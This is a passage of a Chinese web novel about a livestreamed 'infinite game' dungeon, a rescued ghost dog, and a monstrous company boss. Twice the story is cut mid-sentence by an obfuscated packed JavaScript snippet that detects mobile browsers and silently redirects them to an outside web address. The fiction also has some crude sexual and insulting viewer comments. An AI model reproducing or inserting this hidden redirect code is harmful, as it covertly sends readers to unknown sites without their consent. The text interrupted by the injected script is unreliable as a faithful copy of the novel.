离城时三月春,十月返回,却见城中荒凉无人,唯有骸骨万具,大惊。 寻至邻县,同尸骸遍野,心如冰窖。再寻二十里,终见活人,忙追问其缘由。 原是怨气积攒成煞,诡王以恨为卵,横空出世,大杀四方,累及方圆百里。 余悔矣! 泱泱城池,仅七月便成死地,牵连者何其多? 余尝思之,祸因官者贪婪,因方士蛊惑,因民众蒙昧,因余坐视不理! 犬害乎?非也,是为人害!】 而在游戏大厅,听到严岳等人通关A级诡王副本的全服广播,所有观众霎时间沸腾了! 18. 第十八章 因为观看人数众多,直播大厅一直采用划分区域的方式来分散人流、避免拥挤。从上往下看,就像间隔分明的海上群岛。 当直播间粉丝齐齐为严岳等人通关副本而欢呼时,十几个“岛屿”同时传出叫声,那声音不是一般的响亮。 有人听到外面的动静,疑惑张望。 “怎么了,出什么事了?” “不知道啊,突然都发什么疯。” 旁边的直播间粉丝还在亢奋地尖叫,来不及和他们多解释,语气激动,特别神秘地甩下一句:“劝你们快去看严会长的直播,再不看就来不及了!” 无限游戏有不少姓严的会长,但比较有名的就只有那一个。 不清楚情况的其他人直犯嘀咕:“什么叫再不看就来不及了,说得像要通关了一样,至于吗?” 虽然嘴上不屑一顾,但他们的身体倒是很诚实,轻车熟路地点开直播热度排行榜,往上面一看。 “靠——”当场傻眼。 盯着夸张到爆的热度值,众人不敢置信地张大嘴巴。 “之前严岳的直播间热度也就在首页挂个尾巴,结果两天时间不到,他居然给干到第一去了,开玩笑的吧?” “我之前看过他的直播,这个不敢杀,那个不能碰,看着贼无聊,真想不通他为啥能冲顶,难道是中途擦边搞瑟情?” “还有这个叫许清然的新人到底是什么怪物?首通次数为【0】居然都能上首页?” 话音未落,一声毫无温度的系统提示声响起。 【叮!恭喜严岳、成臣、李明宇……许清然等玩家通关A级诡王试炼《犬害》,成为首批通关该副本的玩家!副本奖励稍后结算。】 “……!!” 这才是真正的平地一声雷! 没人会怀疑这则广播的真假性,因为只有在通报首通试炼时才会响起全服通报。 刹那间,无数听到广播的观众纷纷涌入严岳等一众玩家的直播间,而他们的直播热度也在此刻达到空前绝后的地步。 人们欢呼、质疑、崇拜、费解。千言万语,众说纷纭。 整个大厅都仿佛在山呼海啸的声浪中颤抖起来,那场面何止是一个震撼可言! 不少寻求攻略的玩家,立马找上观看完整场直播的观众,询问严岳等人的通关策略,大拍马屁。 观众们忍住激动仔细回想该怎么回答,结果想着想着,表情逐渐变得一言难尽。 “要说严会长这次在副本中的表现……中规中矩吧?全程畏手畏脚,甚至还有点无聊……” 正如他们所说,一开始观看严岳直播的观众,其实没多大兴致。 不像其他大主播为了博眼球会尝试一些紧张刺激的骚操作,严岳只求无功无过。而这次A级诡王副本,不知道是不是本人身上的担子太重,变得更加放不开手脚。 其他大佬都找到郊外屠宰场了,他们还在下城区打转,毫无效率可言。 但也是幸运,刚巧这个时间段,诡王莫名其妙将抓到的队员放生,而其他主播都没遇到这茬事,观众才有兴趣继续留下来观看。 直播中,通过队友提供的细节,严岳叫大家分组调查宠物用品店和宠物医院。 这点没什么毛病,毕竟是以流浪狗为主体的副本,一般都会出现投喂流浪动物的线索人物。 只是猜到有这么一个人,却没猜到这个人可以长得那么好看。 当谢叙白那张清隽温雅的脸进入镜头中时,弹幕瞬间就炸开了锅。 :就冲他的这张脸,这货绝对是个关键NPC! :对这个看脸的世界绝望了,更绝望的是,我觉得你说得对。 :他说话声音好好听,和女生说话时的眼神好温柔,看得我下面都(哗)了! :?前面逆天。 到此为止,弹幕的走向还算正常。 直到严岳等人终于赶到屠宰场,而偷偷跟在身后的谢叙白忽然冲出来将许清然推开,救了她一命。 :啊啊啊啊啊啊他怎么能这么好,明明是个没有自保能力的普通人,还要冲出来救人。 :听听他说的话,“还好你没事”,我的天啊!好想魂穿那名女玩家。我正式宣布,这名NPC从今天起就是我的新老公了! :他受伤了,看着好疼,好心疼呀。 :???我是不是走错地方了,这是首通试炼还是追星现场,你们居然能对一个不知底细的NPCyin荡成这样? :不分地点发.情的畜生是这样的,进副本绝对第一个死。 :不是?前面的说话有点过分了吧,老子想喜欢谁就喜欢谁,用得着你来狗叫?哦不好意思,说你狗叫是侮辱了狗,你就是条满嘴喷粪的蛆! 霎时间,弹幕开始互相叫骂,吵得一发不可收拾。 房管着急忙慌地出面维护,一连封掉二十多个账号才稍微消停一点。 但骂战并没有就此结束,只是剩下的观众为了不被封禁,都用比较文雅的词来阴阳怪气。 乍一看这个直播间的戾气很大,可要是点开热度更高的大神直播间,会发现这种程度的骂战不过是小孩子喷口水罢了,那边吵得更厉害,经常几百个账号搞批发似的一起被封。 归根究底,是因为两种不可调和的思想。 有的人觉得首通试炼很重要,每个闯关玩家都是勇敢不屈的奉献者、先驱者,他们的战斗不应该被娱乐化,必须全民严肃对待。 也有的人却觉得观看直播用不着上升高度,反正弹幕不会影响到正在闯关的主播。现在的日子已经够痛苦的了,再让人绷紧神经还要不要人活? 而且该打赏的积分他们也没少给啊,难道那些积分不是自己用命挣来的?又要送积分又要嘘寒问暖,怎么着主播是他/她生的啊? 当最高首通次数反反复复地卡在【6】或者【7】而无法更进一步之时,对赎回地球感到灰心丧气的玩家越来越多。 就连参加首通试炼的玩家,在经历过无数次濒死的痛苦后,心里的追求也渐渐变了味。比起拯救世界,他们更在乎闯关成功后的巨额奖赏和名利声誉。 甚至有人觉得,现在的他们已经无法回归原来的生活,谁知道【10】次之后是不是真的能救回那七十七亿人。 就这样活在无限游戏里,资源丰富,寿命无限,难道不比以前累死累活的996和007要自在有趣得多? 所以,以前是义勇当先、正容亢色的玩家比较多,现在反而是“得过且过,爱咋咋”的思想成为了主流,整个直播大厅都充斥着娱乐至上的氛围。 话说远了,回到直播途中。 两批观众相互看不过眼,谢叙白直接成为他们争吵的重心,讨论热度甚至盖过了直播间的主人严岳。 还有许清然,从她的视角能更好地监视/舔颜谢叙白,是以不少观众愿意花大量积分再开一个分屏,两个直播间一起看。 许清然的直播热度因此水涨船高,一举成为新人区的潜力主播,登上热度榜,跟着吸引来一大批不明觉厉的观众。 骂战愈演愈烈。 看到谢叙白因为伤重体虚被许清然搀扶着走,严肃党唾骂:好废物、好弱鸡、好一个易碎的玻璃花瓶。 看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579665|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢叙白为许清然开解被排挤忽视的郁结时,娱乐党尖叫:好体贴、好细心、好一个热情善良温柔漂亮的绝世好老公/老婆。 许清然下药的杯子被阴魂动手脚,严肃党愤恨拍桌:“实锤了,那小白脸是诡王的同伙!他混进去绝对不怀好意!” 许清然睁眼被谢叙白护在身下,娱乐党泪目狂喊:“试问队友都做不到这种程度,他又能有什么坏心思?他爱护动物,怜惜弱小,给严会长他们提供线索,呜呜呜呜他超好的!” 严肃党:“你们真是疯魔了,NPC和人类你们到底站谁!?” 娱乐党:“反正不站那些不敢下副本还在屏幕前叽叽歪歪关键NPC的懦夫!” 当谢叙白甩掉监视他的玩家后,弹幕又是一场群魔乱舞,诸神混战。 直到系统提示诡王即将进入狂暴状态,严岳等人不得不往返各个医院,收集足量的血液。 两批观念不同的观众不约而同地沉默下来。 他们收敛戾气,屏住呼吸,眼也不眨地盯着镜头里玩家们步入深巷的身影。 说归说,骂归骂……怎么会不在意? 在那生死线上举步维艰的,是他们的同类。所有人的命运连在一起,像捆在一根绳上的蚂蚱,无法割离。 眼见第三波怨魂潮来袭,诡王被触怒数值直升传说中的S级,观众们都顾不上再去看谢叙白,心里只剩下绝望愤恨和无穷无尽的悲哀。 “果然不行,果然又是这样!每次一有要赢下游戏的苗头,就会冒出这档子事,游戏主办方根本就没准备让我们赢!反正试炼内容由它们来定,它们想怎么摆布我们都可以!” 紧跟着,直播镜头里的NPC青年停了下来。 袭来的怨魂被怨兽狠狠地按在地上,而青年连眼睫毛都没有颤上一下。 他继续往前走,踩过满目疮痍的土地,略过狼狈不堪的人群,犹如闲游在自家庭院里的花园主。 风轻云淡,安然自若。 面对让闯关玩家绝望至极的BOSS,他只是伸出手,便让狂暴凶残的怪物低下头颅,乖顺地依偎在他的掌心。 最后的最后,副本彩蛋揭晓内情,犬害的幕后原是人害,解决掉罪魁祸首张斌,就能通关试炼。 只是让新老观众没想到的是,通关之后,严岳等人竟没有被立刻弹出副本。 也是这时,青年找其中一名玩家要来治愈道具,走向靠在墙角的许清然,使用道具治好对方。 借由许清然的第一视角,无数玩家看到青年朝他们缓步走来,蹲下身,与自己视线平齐,又伸出手。 骨节分明的手掌搭在额角,一下连着一下,像在抚摸他们的脑袋。 正对着镜头,青年淡然的眸眼微微一弯,泛起温润的笑意。那股令人望而生却的气势并未散去,却不再凌厉。 “很抱歉,先前欺骗了你。” “你是个勇敢的女孩,一定能够得偿所愿。” 青年站起身,诡王领域恰好撤去。太阳的余晖普照而下,映出对方清瘦的身体轮廓,仿佛为其镀上一层柔和的金光。 那一刻,他就像云端的神明俯瞰人间,对所爱的世人投下温柔的一眼。 “祝你早日找到回家的路。” 最后的镜头停留在青年送上祝福的那一刻,自此严岳等人通关试炼,弹幕在短暂的沉寂后,再度爆沸! 两批观念不同的玩家史无前例地达成一致,激动到脸颊潮红。 “玩家首通成功之后副本是会进试炼池的对不对?谁能告诉我有没有可能遇见他?我要舔爆我的老公/老婆啊啊啊啊啊!” 19. 第十九章 …… 狗子平安做了一个梦,梦到一些过去的事。 那时的它还是一条普通的流浪狗,没有那么大的力气,浑身脏兮兮,瘦骨嶙峋。每天定点守在狭窄破旧的小巷口,等待哪一天奇迹降临,不会再有莫名其妙的力量拴住它的脖子,让它能够尽情地迈开腿跑出这里。 但日复一日,它睁眼时看到的还是只有那片坑坑洼洼的泥泞地。 红色白色的塑料袋被踩进地里,黑色的污水在袋子上积成水洼,腐烂的果蔬皮挂在垃圾桶边缘,恶臭扑鼻,苍蝇的嗡嗡声在耳边挥之不去。 这里的一切都那么让狗窒息,包括那些试图驱赶它的居民。 有孩子的时候狗子能跑就跑,有大人的时候狗子能避就避。但不管它怎么避让人群,墙壁的角落依然洒满吃了会吐血的红色颗粒。 人类为什么会这么恨自己?明明一开始它流浪到这里的那段时间,还会有人好心喂它东西。 狗子睡觉的时候想不通,在剩饭里吃出图钉的时候想不通,被孩子拿弹弓射眼睛的时候想不通,被老人大声咒骂的时候想不通。 它唯一能想通的,就是自己要赶快离开。为此,它更加频繁地出现在小巷口,一守就是十几个小时。 街道人来人往,狗子佯装冷漠地置之不理,这么多天它学会了一个道理,如果表现出来的气势太弱,一定会招来莫名的恶意。 只是它很聪明,也不那么聪明。当有人被它盯得毛骨悚然,把垃圾箱推过来挡住小巷口的时候,狗子当场就傻在了原地。 “听说狗都是一根筋儿认死理,真好奇它等会儿是什么反应。”有人谐谑地说。 垃圾箱很高,很大,直接将巷口堵死,原本畅通的一条道路,瞬间变逼仄狭窄的囚笼。 狗子站在最靠近自由的位置,抬头再也看不到绵延无边的街道,只能看到凝固着浓黄泔水的箱子铁皮,死死地挡在它的面前。 被打被骂狗子没急,图钉扎破嘴巴狗子没急,可这个时候,狗子它忽然急了,对着垃圾箱一通龇牙咧嘴地乱吼,吼声撕心裂肺! 它伸出前爪疯狂去刨箱子,爪子被磨得生疼。又张开嘴巴去咬,咬到牙龈出血。它用头和身体狠狠撞击,嘭!嘭!嘭——!结果垃圾箱太重,纹丝不动。 “哈哈哈哈哈!看给这傻狗急得都快说话了。” “我就说很好玩吧!” “就算不咬人,一天到晚蹲在这儿真让人瘆得慌,就不能想个办法把它弄……” 看热闹不嫌事大的笑声从垃圾箱背后传来,每一声都饱含着成功戏弄到它的恶意,哪怕是听不懂人话的狗,也能知道他们的不怀好心。 愤恨的情绪充斥大脑,生平头一次,狗子产生咬人的冲动。 直到那名青年的出现。 “你们在干什么?” 和刺耳的笑声比起来,青年的嗓音不高不低,语气平静,称得上和气。 但就是这毫无情绪波动的询问,让几个人如同被掐住脖子的鸡,戛然止声。 “呃,我们……” 不等他们说完,青年打断道:“我过来的路上看到环卫工人在急着找这个垃圾箱,差点报警。它是你们搬过来的?学校的老师难道没教过你们乱动公共财产会被罚款吗,一会儿环卫工人就过来了,你看起来像是领头的……” 听到报警两个字,被点名的人语气都变了,立马反驳:“胡说八道什么,谁是领头的?我还有事,我先走了!” 青年换了个人问:“不是他,那是你?” “也不是我!你瞎污蔑谁呢?妈的快走,遇到个多管闲事的。” 伴随着骂骂咧咧的囔囔,那些人火急火燎地跑走了,再然后狗子听到一阵清脆的脚步声,直至抵达垃圾箱前才停下。 吱呀—— 垃圾箱被费力推开,明亮的日光再次照在阴暗的巷口。 那一刻,狗子先注意到的不是广袤无垠的天空,也不是终于露出来的街道,而是青年那张温文尔雅的脸。 一张脸上,最吸引狗子注意力的就是那双眼睛,像阳光照射下的窗户玻璃,剔透明亮,闪烁着耀眼的光辉。 似乎见它停止吼叫,没有要咬人的倾向,青年颇感意外地咦了一声,跟着半蹲下身,视线和它平齐,摊开骨节分明的手掌,缓慢朝它靠近。 到这里为止,狗子终于意识到自己是在做梦。 因为过去的它才被那些居心叵测的人戏弄完,根本不敢相信任何一个主动接近的人类,包括眼前为它解围的青年,便在手掌即将触碰到自己的时候,猛然张开血盆大口,冲青年一通威胁地乱叫,而后头也不回地跑进巷子深处。 而此时,有意识在梦里控制自己的狗子,一点想跑的欲望都没有。 它近乎是迫不及待地将下巴搭到青年的掌心,呼啦啦地狂摇尾巴,任由青年惊喜地揉揉它的脑袋,挠挠它的下巴,再不嫌弃它身体肮脏,将它稳稳抱起。 狗子的视野被陡然拔高,从地面上升至半空,只是它并没有在意这一幕,一个劲儿沉浸在青年温暖的怀抱中,鼻前再没有泔水垃圾的腥臭,只有那淡雅好闻的清香。 青年抱着它往前走,掌腹搭在它的脊背,传来炙热的温度。青年的步履很稳,怀中的狗子只感受到微微的摇晃,视野里的景色也随之一起一伏。 它舒服极了,下巴搭在青年的肩膀上,双眼迷离地抬头一看,陡然发现他们已经离开了小巷口! 那个让它深恶痛绝,到死也禁锢着它的囚笼,青年竟然就这么轻而易举地将它给带出来了!? 梦境太美好,好到惊悚,硬生生把平安给吓醒了。 它睁眼的时候,浑身乏力,好像在巷子里追着玩弹弓的傻叉小孩跑了几百上千个来回那么累。双眼惺忪,一时间难以看清眼前的景象。 正当平安睁大眼睛,努力分辨的时候,一缕柔软的发丝垂落下来,搭在它的脑袋上。 刹那间狗子心脏一震,瞪大眼睛,不敢置信地看过去。 同一时间,它感受到青年的掌心抚在后背传来滚烫的热意,清淡芬芳的洗发水香气萦绕鼻前,驱散掉所有的臭味。 它被谢叙白抱在怀里,视野一摇一摆,眼睁睁看着破旧肮脏的小巷口离自己越来越远,越来越模糊。 清风徐来,阳光正好,几缕乌丝在眼前微晃。 那个美好到让狗都不相信的梦境,逐渐和现实重合在了一起。 “醒啦?”谢叙白感受到狗子的苏醒,反手拍一拍它。 狂暴之后的BOSS会进入虚弱状态,刚才狗子一回来就摔在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579666|171587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上昏迷不醒,把他吓得不轻。 狗子不应声,身体一动不动,呆呆地看着他,像是大脑宕机一样。 谢叙白疑惑地和它对视,忽然狗子原地暴起,像颗按不住的炮.弹,在他怀里兴奋地拱来拱去,大舌头怼着脸一阵狂舔! “汪汪!汪呜——!” 谢叙白猝不及防被舔了一脸口水,手忙脚乱地将狗子按住。不知道它为什么这么激动,却还是下意识地哄:“好好好,乖乖乖,平安好宝贝……别舔了宝贝我看不见路。” 就这么闹着叫着哄着,谢叙白抱着狗子回到了家。 房子不大,但打扫得很干净,布置得很温馨。映着卡通骨头图案的窗帘,被包上软布的桌角,还有整齐摆放在墙边的狗窝和食盆……每一个细节,都让狗子忍不住瞳孔颤动。 谢叙白伸手揉了揉它,笑声中带着几分邀功的意思:“感动吧?在你还没到家之前,我就已经在期待有你的生活了。” “平安。”他对狗子展开双臂,郑重且高兴地笑道,“欢迎回家。” 这下狗子不止是瞳孔颤抖了。 当“家”字落下,谢叙白眼前一花,虚弱状态的狗子不知哪来的力气把他扑倒,一边呜呜叫,一边尾巴欢快地摇成螺旋桨。 “哈哈哈哈,好了好了,平安乖,平安乖。” 笑着将狗子安抚下来,谢叙白去厨房拿来一个铁盆和打火机,盘膝坐在地板上,又朝窗外招了招手:“来。” 窗帘一动,几只阴魂探出脑袋,面面相觑,鼓起胆子飘了过来。 在它们身后,还跟着许许多多的阴魂和怨魂。 张斌死后,这些诡怪中的大部分都随仇恨消散而升天,剩下的不走,或许是对尘世间还有眷恋和不甘。 它们以为自己跟到这儿,是慑于诡王的威严,却又解释不清楚,为什么青年招呼它们的时候,身体也会不由自主地凑过去。 猫狗阴魂在屋子里排排蹲,看着莫名乖巧。谢叙白从怀中拿出那本驭诡古书,当着所有阴魂怨魂的面,将它点燃放在铁盆中。 橘红色的火焰一冲而起,瞬间将书页舔舐殆尽。 冥冥之中,包括平安在内的所有诡怪,都感觉到有什么压在自己身上的负担倏然消失。 以往被暴虐嗜血等诸多负面情绪折磨的内心,跟着像被一股清风涤荡一空,变得轻松至极。 谢叙白道:“张斌没有亲朋好友,也无子嗣传承,从今往后,再也不会有无辜的动物像你们一样,被这本书中所写的邪术迫害。” 火光映照着青年心如止水的面容,泛起暖黄色的光晕,从他的眼神中,看不见一丝对古书的贪欲和不舍。 他的声音风淡云轻,却仿佛有那么一股厚重沉稳的力量,为这出荒诞的闹剧强硬地画下句点。 小家伙们眨眨眼。 突如其来的冲动,让它们莫名想要靠近谢叙白。 只是这群阴魂意识不到它们的数量有多恐怖,几十只一起上,差点没给谢叙白扑断气。 平安立马黑着脸把它们一只只扒拉下来,不客气地丢到一边。反正是诡摔不坏。 正当这时,谢叙白的手机传来叮咚一道消息提示声,竟然是沉寂已久的公司群。 【你们知道吗?宴总好像醒过来了!】 20、第二十章 【吕向财】宴总醒了,这个消息你听谁说的? 谢叙白瞄了眼手机屏幕上方疯狂弹出的提示消息,叮咚叮咚没个消停。 看起来“宴总醒来”这一件事在公司内部影响不小,让无数同事直接陷入一场激昂亢奋的狂欢。 吕向财那边似乎也注意到公司群的动静,没等谢叙白回复就说:【看到了,还挺热闹,呵呵。】 谢叙白看着“呵呵”两个字,不太确定对方知不知道它在网络语中有阴阳怪气的意思。 如果真的是在冷笑,那就有点微妙了,毕竟吕向财是个伪装身份的高管,知道很多公司内幕。 【吕向财】你找我问宴总的情况干什么,该不会也是那家伙的粉丝,想找他要签名吧? 谢叙白眼睫微垂。 【谢叙白】不是,只是老板醒来应该会视察公司的情况,我一个实习生还留在家里躲懒是不是不太好? 【吕向财】放心放心,你属于特殊情况,宴总一定会谅解的。不过照他的性格肯定要整顿一下公司的歪风邪气,会通知全体员工到场,到时候你就能回来继续上班了。最快可能在一两天之后? 就公司如今施行的086工作制,再怎么整顿也不会比现在更糟糕。(ps:加班到0点,不定期通宵,早8点打卡,一周工作6天。) 前提老板是个普通的人类,用的也是正常人的整顿法。 谢叙白直觉不太可能,皱了皱眉头,心想,要不然…… “呜?”面前的小狗见谢叙白忽然看过来,疑惑地歪了歪脑袋。 不带任何恶意的时候,它们的眼睛仿佛会发光,充满信任和纯真,又圆又亮。 被毛茸茸和幸福感双重包围的人类不禁有些飘飘然,下意识弯了弯眼睛:“乖。” 接着,他在手机上点出计算器,粗略计算了一下喂养这些小家伙的每月开销。 再然后,谢叙白就笑不出来了。 宛如一盆凉水兜头淋下,他看着计算器上的“天文数字”,陷入死一样的沉默。 其实也不奇怪,一般家庭养两三只宠物都费劲,谢叙白一下子得养几十只。 虽然诡怪不会生病,也不需要用猫砂盆,但它们必须要吃新鲜的血肉来补充营养。古书记载中牛羊猪肉最佳,鸡鸭鱼次之,那可是笔不小的花费。 再加上平安是被炼化的诡王,普通的食物没法给它带来饱腹感,谢叙白一个人不够填饱它,必须多买点血袋备用。 ——也不知道如今的世界能不能走正规途径买血,想来不会很便宜。本就不富裕的家庭顿时雪上加霜。 “咪?”“汪?” 小猫小狗什么都不知道,只是见好端端笑着的青年突然变得面无表情,看上去情绪不高的样子,立马有些担忧地黏了上来。 几十只一起蹭他,边蹭还边发出甜腻的夹子音,试图哄它们的人类开心。 “喵嗷~”“呜呜呜——” 是不是有人欺负你啦?说出来我们帮你收拾他呀! “……” 谢叙白看看“天文数字”,再看看猫狗,涣散的眼神突然就坚定了起来。 【谢叙白】冒昧问一句,宴总有没有吃人的习惯或爱好?公司整顿之后晋升规则会不会有改变?实习生最晚多久能收到转正通知? 看着这斗志昂扬的一连串发问,对面沉默几秒,幽幽地冒出来一句。 【吕向财】你刚才突然消失没回消息,是不是在想离职的事?如果宴总吃人你就跑? 被戳中心事的谢叙白脸不红心不跳,冷静回复道:【怎么会?】 整个公司都是怪物的巢穴,离职的时候绝对不能太着急,至少得在了解老板是什么秉性之后。 如果是个睚眦必报眼里容不得沙子的怪物,那他便耐心等等,找个不会引火烧身的时机再跑。 吕向财那边估计是不信,但也没细究:【放心,那家伙嫌弃人的身体里面都是病毒,饿死也不会吃一口。】 谢叙白还没来得及松口气,又见对方补充一句。 【但绝对不要以为他温和无害。就像公司群,别看现在欢天喜地,到时候清算起来不知道还能留下几个人。】 谢叙白呼吸一滞。 看着这段平铺直叙的文字,他脑海里浮现出同事们那一张张或陌生或熟悉的面孔。 一股难言的恐惧感宛如毒蛇般从脊背慢慢爬上后颈,让谢叙白遍体生寒。 ——没记错的话,那可是……三千人的群。 另一边,盛天集团公司大厦,最顶层。 吕向财眼也不眨地注视着聊天框的上方。 【正在输入中】的字样在不断闪烁,显露着谢叙白极其纠结的心情。 大概两分钟后,字样彻底消失,再也没有一点波动。 吕向财眼里的笑意跟着消失殆尽,拧了拧眉头,啧一声。 ——糟,该不会是把人吓到了吧,万一真提离职怎么办? 就在这个时候,一道低沉且富有磁性的嗓音从旁边传来,语气不咸不淡:“我刚醒来,对很多事情都不了解,想先确定一下,盛天的吕秘书应该还没有投靠敌对公司?” 最后一个字落下的刹那间,房间温度陡然下降几十度,眨眼时间窗户玻璃上结满雪白细碎的冰霜,宛若冰窟。 吕向财循声看过去,对上男人猩红冷漠的眸眼,连忙笑着欠身行礼:“怎么会?我永远忠于您。” 他说话时,右手正搭在心口的位置,在“忠”字上落下重音。 接着话锋一转:“不是有意忽略您。公司新来了一个有趣的实习生,能力出众,勤勤恳恳,忍不住和他多聊了一会儿。” 如果是正常的老板,听到秘书晾着自己,却在一边和无足轻重的实习生聊得不亦乐乎,怕是会当场发飙。 但男人只是看了他一眼,便将视线再次转回手中的公司财报。 单手支颚,眉眼疏懒,浑身散发着一股利剑出鞘的锋芒,仅是坐在那里就很难让人忽视。 吕向财知道宴朔不在意,不在意和他聊天的到底是实习生还是部门主管,亦或是权力更高的董事会。 因为在对方的眼里,那些人都是【活物】,仅此而已。 宴朔也不在意他会不会开小差,只要工作的时候认真且保持效率,被喊到的时候能及时回应,献上绝对的忠诚,就能容忍他的一切小动作,福利丰厚,假日齐全,八位数的年薪说给就给。 听上去待遇优渥,很好伺候…… 吕向财的嘴角还没来得及降下去,便听到一阵窸窸窣窣的声音。 大片浓郁的阴影以他脚底为圆心朝外扩散,像起伏跌宕的海平面般不断涌动,发出阴冷滑腻的水声。 阴影很快从吕向财的脚底挪到宴朔的身旁,轰的一声拔地而起,终于露出自己的真面目。 那赫然是一根粗壮到不像话的触手!看形状,只有微不足道的尖端部分露在外面,却已经高大到挤上四米高的天花板。通体漆黑,内腹布满巨大狰狞的吸盘。 触手非常激愤,冲着面无表情的宴朔不断扭动庞大的身躯,坚硬的吸盘直接将吊顶刮下来一层灰白的皮。 似乎被这根触手骚扰得心烦,宴朔终于开口:“你说想要那名实习生,可吕秘书非但不愿意给你,还踩了你几脚?” 吕向财眉毛一抽,没有试图反驳和辩解,闭着嘴巴不吭声。 下一秒,宴朔撩起眼皮,冷意十足地道:“作为我的躯壳,你连一个吕秘书都打不过,还有胆子来告状?” 他说话时伸出手,指尖虚空一点。 触手霎时间僵在原地,从中间的位置裂开无数道细纹,然后如被扎破的气球般轰然爆开。 嘭! 漆黑的血液似花蕊盛放,溅了满地,触手支离破碎的残躯在半空疯狂扭动,撞上墙壁,撞上地板,仿佛能听到无声却痛苦的嘶吼。 最后,半残的触手缩回地下,偌大的卧室重回寂静,针落可闻。 吕向财沉默地抹一把脸,摊开掌心,全是被溅上去的黑血,还有触手的肉块残屑。 宴朔将公司财报合上。 里面的内容他已经全部看完了,大概明白,在他休眠期间公司是个什么样的情况。 他揉了揉太阳穴:“和上次循环一样,5层到31层的员工,13、16、17层的留下,其余全杀。至于5层以下的……” 叮咚。 这时吕向财的手机忽然响起一道消息提示声,他贴着腿侧拿出来,用手指划开屏幕,视线看过去。 【谢叙白】如果我想了解公司的内情,你愿意告诉我多少? “吕秘书。” 吕向财抬起头,看见宴朔猩红眸眼微微朝下,目光直对着他的手机屏幕,看不出喜怒。 “听你刚才的话,这次循环是不是多了一个实习生?”《 》 21、第二十一章 霎时间,冷汗争先恐后地从吕向财的后背渗出。他仿佛能听到心脏在胸腔横冲直撞,发出“扑通扑通”的震响。 宴朔不是根本不在意这些小事吗,为什么……? 直至眼角余光扫到触手的黑血,吕向财蓦然瞳孔一缩。 ——触手是宴朔的躯壳,双方感知共享,前者喜欢的东西,后者怎么可能无动于衷! 宴朔看着他,语气如常,说出的话却让人心里发寒:“你的呼吸乱了,在想什么?” 知道自己不能再继续沉默下去,吕向财强撑出一个自然的微笑:“哪里只新来了一个啊,单单这个月录入系统的实习生就有十多个!我们盛天集团在业界的名声那么响亮,肯定会吸引一波又一波的求职者前赴后继。” 他拿起手机递过去,坦然大方地将消息记录交给宴朔观看:“我比较看好这名实习生,除了前面给您说的勤奋干练,还有他个人非常具有上进心,很适合成为我们的管理层!正巧这次整顿之后也需要补充上层的空缺,您看他怎么样?” 听到后半段话,宴朔微乎其微地皱了下眉头。 他翻看聊天记录,自动略过吕向财对他的吐槽,看到谢叙白问实习生转正和晋升规则时也没什么表情。 直至瞄见上一个问题。 【谢叙白】冒昧问一句,宴总有没有吃人的习惯或爱好?(历史消息) 宴朔抬眸:“觉醒过?” 窥见世界本貌的生物会觉醒,觉醒后99.99%将成为怪物,这也是成为盛天集团管理层的必要条件之一。 吕向财:“是的,我也带他去过第五层,他适应得很好。” 纵观他说出的这几番话,硬是没有一句谎言,但落在宴朔的耳朵里直接就变了味。 一头已经觉醒、喜欢争名逐利、能完美适应贪腐奢靡之风的怪物? 宴朔神情冷漠,没有继续往上翻,将手机还给吕向财。 吕向财故意问:“您这是同意了?这个人很有潜力,早晚能爬到顶层,您要不要提前见一见他?” 宴朔半点兴趣都没有:“不用,你自行安排。” 吕向财当即应是,将手机放回裤子口袋,掌心早已被冷汗浸湿。 他迫不及待地朝门外走,打算一会儿好好洗个澡,步子还没跨出门口,突然听到宴朔说道:“对了,还有一件事。从今天开始公司不再招收任何人,再按3倍赔偿数遣散5层以下的所有员工。” 吕向财脚步刹停,像遭到晴天霹雳一样猛地回头,脸色甚至有点扭曲:“遣散?” “可那些底层员工不是也在公司的循环逻辑中吗?为什么他们可以逃——” 话没说完,他倏然察觉到自己的失言,慌张收声:“抱歉宴总!我、我只是有点奇怪。” 宴朔静静地看着他。 就在吕向财紧张到感觉心脏都快要跳出嗓子眼的时候,男人终于再次开口:“没什么需要奇怪的,直接去处理,有问题再来找我汇报。” 吕向财知道自己今天已经失态太多次,理智告诉他,现在必须斩钉截铁地回答一声:是。 但他的心已经乱了,被一种难以抑制的冲动搅得魂不守舍,脱口质问:“可是,既然您知道脱离盛天集团循环的办法,难道甘心继续被困在这儿?!” 宴朔这时已经坐回椅子。除开公司财报,桌上还摆着各种方案和文件资料。 他随手拿起一份,听到质问声,抬头,不轻不重地吐出一个字:“困?” 像是陡然听见一个荒唐的笑话,宴朔难得扯了下嘴角:“为什么你会误以为,这种小笼子能够困得住我?” 他的语气、神态、眼神中不曾带有一丝傲慢,说话也是平平淡淡,却有一种傲睨万物的压迫感扑面而来,叫人打心底只能选择信服。 吕向财嚅嗫嘴唇:“那我……” “你从出生起就和这家公司绑定在一起,擅自离开会让它很不高兴。” 宴朔收回视线,翻开方案资料,浑然不觉自己的话有多么令人惊悚:“拼凑一个破碎的灵魂很费力气,别再给我添麻烦。” 听到“再”这个字,吕向财猛然回想起什么,满脸惊骇地撸起衣袖,盯看好几遍,终于发现皮肤下犹如蛛丝般细微的缝补痕迹,如梦似幻。 “我还以为之前是在……” “不是做梦。”宴朔明显有点不耐烦了,“离开的时候把门关上。” 吕向财默了默,终于死心,低声应道:“是。” 离开前一刻,他透过即将合上的门缝,看向正懒散翻阅着企划书的宴朔。 